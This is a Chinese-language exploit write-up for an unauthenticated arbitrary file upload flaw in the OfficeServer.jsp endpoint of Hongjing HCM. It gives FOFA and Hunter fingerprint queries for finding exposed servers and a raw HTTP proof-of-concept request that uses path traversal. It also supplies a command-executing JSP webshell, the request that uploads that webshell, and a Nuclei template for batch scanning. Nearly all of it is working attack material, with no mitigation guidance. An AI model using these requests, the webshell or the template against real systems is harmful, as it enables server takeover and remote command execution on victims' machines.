漏洞概述
宏景HCM OfficeServer.jsp接口处存在任意文件上传漏洞，未经过身份认证的远程攻击者可利用此漏洞上传任意文件，最终可导致服务器失陷。
漏洞复现
鹰图指纹：app.name="宏景 HCM"
fofa语法：app="HJSOFT-HCM"
登录页面如下：
POC：
POST /w_selfservice/oauthservlet/%2e./.%2e/system/options/customreport/OfficeServer.jsp HTTP/1.1
Content-Type:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
Host:
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: close
Content-Length: 418
DBSTEP V3.0 351 0 666 DBSTEP=REJTVEVQ
OPTION=U0FWRUZJTEU=
currentUserId=zUCTwigsziCAPLesw4gsw4oEwV66
FILETYPE=Li5cMW5kZXguanNw
RECOR1DID=qLSGw4SXzLeGw4V3wUw3zUoXwid6
originalFileId=wV66
originalCreateDate=wUghPB3szB3Xwg66
FILENAME=qfTdqfTdqfTdVaxJeAJQBRl3dExQyYOdNAlfeaxsdGhiyYlTcATdN1liN4KXwiVGzfT2dEg6
needReadFile=yRWZdAS6
originalCreateDate=wLSGP4oEzLKAz4=iz=66
helloword
注：请求体中的FILETYPE字段是base64加密的上传文件名
尝试上传
验证
漏洞利用
编写一个带命令回显的jsp马子
<% if("123".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("<pre>"); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print("</pre>"); } %>
上传马子
POST /w_selfservice/oauthservlet/%2e./.%2e/system/options/customreport/OfficeServer.jsp HTTP/1.1
Content-Type:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
Host:
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: close
Content-Length: 418
DBSTEP V3.0 351 0 666 DBSTEP=REJTVEVQ
OPTION=U0FWRUZJTEU=
currentUserId=zUCTwigsziCAPLesw4gsw4oEwV66
FILETYPE=Li5cMW5kZXguanNw
RECOR1DID=qLSGw4SXzLeGw4V3wUw3zUoXwid6
originalFileId=wV66
originalCreateDate=wUghPB3szB3Xwg66
FILENAME=qfTdqfTdqfTdVaxJeAJQBRl3dExQyYOdNAlfeaxsdGhiyYlTcATdN1liN4KXwiVGzfT2dEg6
needReadFile=yRWZdAS6
originalCreateDate=wLSGP4oEzLKAz4=iz=66
<% if("123".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("<pre>"); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print("</pre>"); } %>
nuclei批量yaml文件
id: hongjing_HCM_OfficeServer_upload
info:
name: Template Name
author: mhb17
severity: critical
description: description
reference:
- https://
tags: tags
requests:
- raw:
- |-
POST /w_selfservice/oauthservlet/%2e./.%2e/system/options/customreport/OfficeServer.jsp HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
Content-Length: 429
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: close
Content-Type:
Accept-Encoding: gzip, deflate
DBSTEP V3.0 351 0 666 DBSTEP=REJTVEVQ
OPTION=U0FWRUZJTEU=
currentUserId=zUCTwigsziCAPLesw4gsw4oEwV66
FILETYPE=Li5cMW5kZXguanNw
RECOR1DID=qLSGw4SXzLeGw4V3wUw3zUoXwid6
originalFileId=wV66
originalCreateDate=wUghPB3szB3Xwg66
FILENAME=qfTdqfTdqfTdVaxJeAJQBRl3dExQyYOdNAlfeaxsdGhiyYlTcATdN1liN4KXwiVGzfT2dEg6
needReadFile=yRWZdAS6
originalCreateDate=wLSGP4oEzLKAz4=iz=66
helloword
- |+
GET /1ndex.jsp HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
req-condition: true
matchers:
- type: dsl
condition: and
dsl:
- 'contains((body_2), "helloword") && status_code_2 == 200'